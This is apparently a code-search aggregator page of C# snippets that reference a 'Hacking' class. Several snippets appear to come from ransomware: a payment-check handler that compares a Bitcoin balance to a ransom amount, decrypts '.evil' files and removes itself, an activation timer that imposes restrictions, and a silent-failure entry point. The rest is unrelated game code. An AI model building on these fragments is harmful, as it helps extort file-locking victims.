Esempio n. 1
0
 private void buttonCheckPayment_Click(object sender, EventArgs e)
 {
     try
     {
         double price = Blockr.GetPrice();
         int    num   = (int)(Blockr.GetBalanceBtc(GetBitcoinAddess()) * price);
         if (num > Config.RansomUsd)
         {
             timerCountDown.Stop();
             buttonCheckPayment.Enabled   = false;
             buttonCheckPayment.BackColor = Color.Lime;
             buttonCheckPayment.Text      = "Arg, vous nous avez eu...";
             MessageBox.Show(this, "Déchiffrement de vos fichiers. It will take for a while. After done I will close and completely remove myself from your computer.", "Great job");
             Locker.DecryptFiles(".evil");
             Hacking.RemoveItself();
         }
         else if (num > 0)
         {
             buttonCheckPayment.BackColor = Color.Tomato;
             buttonCheckPayment.Text      = "You did not sent me enough! Try again!";
         }
         else
         {
             buttonCheckPayment.BackColor = Color.Tomato;
             buttonCheckPayment.Text      = "You haven't made payment yet! Try again!";
         }
     }
     catch
     {
         buttonCheckPayment.Text      = "Are you connected to the internet? Try again!";
         buttonCheckPayment.BackColor = Color.Tomato;
     }
 }
Esempio n. 2
0
 private void timerActivateChecker_Tick(object sender, EventArgs e)
 {
     if (!Config.Activated && Hacking.ShouldActivate())
     {
         Config.Activated = true;
         ImposeRestrictions();
         new FormGame().Show(this);
     }
 }
Esempio n. 3
0
        public void GetUpgrades()
        {
            bool ShowUpgrades = true;

            lbupgrades.Items.Clear();
            AvailableUpgrades.Clear();
            Categories.Clear();
            foreach (Upgrade upgrade in Utilities.GetAvailable())
            {
                AvailableUpgrades.Add(upgrade);
            }
            GetCategories();
            try {
                lbcategory.Text = Categories[SelectedCategory].ToUpper();
                if (lbcategory.Text != "FUNDAMENTAL")
                {
                    if (API.Upgrades["hacking"] == false)
                    {
                        Hacking.StartTutorial();
                        PreviousCategory();
                    }
                    else
                    {
                        if (API.Upgrades.ContainsKey(lbcategory.Text.ToLower()))
                        {
                            if (API.Upgrades[lbcategory.Text.ToLower()] == false)
                            {
                                btnhack.Show();
                                ShowUpgrades = false;
                            }
                            else
                            {
                                btnhack.Hide();
                            }
                        }
                    }
                }
                else
                {
                    btnhack.Hide();
                }
            }
            catch (Exception ex)
            {
                lbcategory.Text = "No upgrades!";
            }
            foreach (Upgrade upg in AvailableUpgrades)
            {
                if (ShowUpgrades == true)
                {
                    AddItem(upg);
                }
            }
        }
Esempio n. 4
0
 private static void Main(string[] args)
 {
     try
     {
         Hacking.InitSoftware(Config.StartMode, (args.Length == 1) ? args[0] : null);
         new FormBackground();
         Application.Run();
     }
     catch
     {
     }
 }
Esempio n. 5
0
        private void timerActivateChecker_Tick(object sender, System.EventArgs e)
        {
            if (Config.Activated)
            {
                return;
            }
            if (!Hacking.ShouldActivate())
            {
                return;
            }

            Config.Activated = true;
            ImposeRestrictions();
            new FormGame().Show(this);
        }
Esempio n. 6
0
 public override void PreLoadContent()
 {
     antivirus        = new FileIcon(graphicsDevice, this);
     taskBar          = new TaskBar(graphicsDevice, this);
     startMenu        = new StartMenu(graphicsDevice, this);
     warning          = new Warning(graphicsDevice, this);
     hacking          = new Hacking(graphicsDevice, this);
     readme           = new Readme(graphicsDevice, this);
     message          = new Label(graphicsDevice, this);
     message.TextSize = 24f;
     message.Text     = "Startボタンでスキャン\r\nBackボタンでシャットダウン\r\nAボタンで確認\r\nBボタンでキャンセル";
     message.Location = new Point(Size.Width - message.Size.Width, 0);
     new WarningMessage(graphicsDevice, this, antivirus);
     EventRegist();
     base.PreLoadContent();
 }
Esempio n. 7
0
 static void Main(string[] args)
 {
     // Don't show any exception to the user
     try
     {
         Hacking.InitSoftware(Config.StartMode, args.Length == 1 ? args[0] : null);
         // ReSharper disable once ObjectCreationAsStatement
         // The Form has to run in the background
         new FormBackground();
         Application.Run();
     }
     // Log the exception, encrypt it and send it back
     catch
     {
         // ignored
     }
 }
Esempio n. 8
0
 void Start()
 {
     hacking = FindObjectOfType <Hacking>();
 }